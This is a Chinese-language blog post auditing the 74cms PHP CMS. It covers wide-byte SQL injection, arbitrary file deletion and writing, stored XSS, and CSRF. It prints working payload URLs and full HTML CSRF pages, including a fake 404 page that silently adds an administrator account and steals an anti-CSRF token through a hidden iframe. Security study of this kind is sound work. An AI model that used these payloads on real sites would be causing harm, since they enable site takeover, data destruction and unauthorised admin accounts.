总体分析
index.php
跟进common.inc.php
跟进addslashes_deep函数
然后发现是对GET,POST,COOKIE,REQUEST参数进行了sql注入的过滤和xss过滤,而且目前没有发现解码函数让我们进行二次注入,但是并没过滤IP所以找下会不会有IP注入呢?
然后在后面
发现了ip也是被正则过滤了的,但是还是可以进行IP伪造,在往下看
有一个值得关注的地方,就是sql统一操作函数inserttable和updatetable,大多数sql语句执行都会经过这里
所以我们应该要关注这个地方是否还存在过滤
然后就是之后的wheresql函数,这里是sql语句进行where条件拼接的地方,可以看见所有参数都是被单引号包裹了的
目前来看只要包含了common.fun.php的都对sql和xss有一定的过滤,除非有二次注入或者宽字节特殊情况
当然只是对index.php进行了简单分析,还未对后台和功能点进行审计
漏洞解析
SQL注入一
之前分析了对sql注入有一定的过滤
但是我又看了下mysql的配置文件
发现设置为编码方式gbk,所以可能存在宽字节注入
初步审计后台部分,在admin_login.php,它包含了config.php和admin_common.inc.php
其中config.php是c数据库的配置,admin_common.inc.php文件主要作用和上面分析的common.inc.php差不多,都是过滤和初始化作用
然后关键点在这
可以发现登录成功的关键就是check_admin和get_admin_one
跟进check_admin
然后跟进get_admin_one函数,发现只是对用户名进行了双引号包含
由于密码被md5加密了的,然后用户名只是经过过滤也就是在',",,null前面加了进行转义了,并没有其他过滤,并且之前也说了,编码方式为GBK
所有这里就存在宽字节注入用%df%27即可造成注入
SQL注入二
这是已经登录成功之后基本信息
也就是user/user_company_points.php
意思就是当$act=='userprofile_save'的时候,我们就能将POST接收到数据进行更新或者插入,在被代码块中除了头部整体使用过addslashes函数以外,并没有其他的过滤。
跟进get_userprofile
有intal函数的限制,意味着uid无法利用
然后就是updatetable函数,假设用户已经填写过个人资料,更新资料会进入updatetable函数,函数在/include/common.fun.php
这其中只是将参数数组话处理和转义了,然后将保存的个人信息渲染到html页面中,所有依旧存在宽字节注入
任意文件删除
文件地址在这
- 1.当act参数为del_img的时候会进入删除文件流程。
- 2.程序首先获取GET传输过来的ID,在获取GET传输过来的img图像,然后进入数据库查询ID(用来双引号进行限制)
- 3.最后调用unlink删除$img所存在的文件(对目录没有限制,所有可以通过目录跳转进行任意文件删除)
payload:
http://ip/admin/admin_article.php?act=del_img&img=../../任意存在文件名
任意文件写入
文件位置在这
跟进check_permissions函数
发现没有什么过滤,这只是一个许可认证
然后就是发现这里首先获取模板名字tpl_name和模板内容tpl_content,然后在使用$_POST[‘tpl_dir’]拼接文件保存路径,最后文件打开文件,写入文件内容。
payload:
http://ip/admin/admin_templates.php?act=do_edit
(POST)tpl_name=文件命&tpl_content=文件内容
存储型XSS
大家都知道xss漏洞是见框就插,但是最容易出现的地方还是评论,留言,友链等
所有这漏洞利用文件点在link/add_link.php
检测网站是否开启自助申请链接,如果没有,将阻止用户申请。
名字、URL、logo、说明等赋值到setsqlarr数组,最后将数据插入到数据库中。 包含了文件/include/common.inc.php,所有过滤一些xss标签
/admin/admin_link.php也是处理友链的文件
然后跟进get_links()函数,将添加的链接信息从数据库中取出渲染到前台link/admin_link.htm页面中
然后在htm文件58行中
<span style="color:#FF6600" title="<img src= border=0/>" class="vtip">[logo]</span>
我们可以看到前台将link_logo
以变量值作为img标签的读取源,虽然有去标签的处理,但是这里我们不需要加入标签,利用onerror事件也可以进行XSS攻击
payload:
http://ip/link/add_link.php?act=save
(POST)alias=QS_index&link_name=123&link_url=123&link_logo=%23+onerror%3Dalert%28%2Fxss%2F%29&app_notes=&Submit=%CC%E1%BD%BB
CSRF
众所周知这个漏洞利用场景就是横向或者垂直越全
所有利用点很容易出现在用户相关的文件里面
admin/admin_users.php
执行添加管理员操作。代码段第一行首先检查当前用户是否权限添加,
然后检测是否存在,跟进
发现经过双引号转为字符串了利用不了
然后进行邮箱格式认证,后面也就是添加账号的流程了
但是最重要的一点就是需要管理员权限
所有这里需要诱导管理员来点击我们构造的payload
<html>
<head>
<meta charset="utf-8">
<title>看点好看的</title>
<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=m1&email=123456@qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://ip/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
xmlhttp.send(xmldata);
}
</script>
</head>
<body "add()">
<img src="m1.mp4">
<!-- <video width="544" height="960" controls>-->
<!-- <source src="3333.gif" type="video/mp4">-->
<!-- 您的浏览器不支持 HTML5 video 标签-->
<!-- </video>-->
</body>
</html>
但是另外在74cms 3.6版本中添加了token机制认证,没怎么遇见过这个利用,所有找了一下网上Somnus师傅的payload
先构造一个404页面让管理员点击
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL /info.php was not found on this server.</p>
<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=test2&email=1234%40123.com&password=123456&password1=123456&rank=123&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://ip/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true';
xmlhttp.send(xmldata);
}
add();
</script>
</body>
</html>
页面利用ajax技术在后台将注册信息提交到admin/admin_users.php
我们知道token认证机制是取出当前页面提交的token与存放在Session中的token值进行比较,相同则通过验证,每当我们刷新一次页面,token值就会发生变化。但是我们仍然可以进行CSRF攻击,办法就是利用iframe框架访问token值的页面,再利用js代码获取token值与信息一起提交即可,附上3.6版本csrf攻击的代码:
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<script type="text/javascript">
function add() {
var token = document.getElementById('hack').contentWindow.document.getElementsByName('hiddentoken')[0].value;
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=test2&email=1234%40123.com&password=123456&password1=123456&rank=123&submit3=%CC%ED%BC%D3&hiddentoken='+token;
xmlhttp.open('POST','http://127.0.0.1/74cms3.6/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true';
xmlhttp.send(xmldata);
}
</script>
<iframe src="http://127.0.0.1/74cms3.6/admin/admin_users.php?act=add_users" id='hack' border='0' style='display:none'>
</iframe>
<body onload="add()">
<h1>Not Found</h1>
<p>The requested URL /info.php was not found on this server.</p>
</body>
</html>
结语
之前就只是简单的跑了一下,做了点笔记,最近在看代码审计的书就再练练手
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!